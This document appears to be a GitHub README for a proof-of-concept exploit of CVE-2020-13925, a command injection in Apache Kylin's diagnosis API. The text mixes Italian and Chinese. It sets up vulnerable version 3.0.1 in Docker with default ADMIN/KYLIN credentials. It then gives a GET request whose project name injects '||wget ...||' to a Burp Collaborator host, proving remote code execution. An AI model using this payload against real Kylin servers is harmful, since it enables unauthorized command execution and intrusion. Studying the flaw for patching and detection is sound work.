bit4woo/cve-2020-13925Exploit proof-of-concept per CVE-2020-13925, una vulnerabilità di iniezione di comandi nell'API diagnostica di Apache Kylin, che consente l'esecuzione remota di codice tramite nomi di progetto appositamente predisposti.
Fare riferimento a https://github.com/apache/kylin per la distribuzione dell'ambiente tramite Docker, modificando la versione a 3.0.1 (la versione vulnerabile). È possibile rimuovere 【-m 8G \ 】, che serve a impostare la dimensione della memoria allocata.
Quindi accedere a http://host:7070/kylin/login. Il nome utente e la password iniziali sono ADMIN/KYLIN.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
原始请求：
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC请求，GET方法：
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
即将项目名称“learn_kylin”替换为如下payload访问即可：
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
Accedere a System-Configuration-Diagnosis. Viene attivata la richiesta per il download delle informazioni diagnostiche http://host:port/kylin/api/diag/project/learn_kylin/download
È sufficiente sostituire il nome del progetto “learn_kylin” con il payload indicato sopra e accedere.
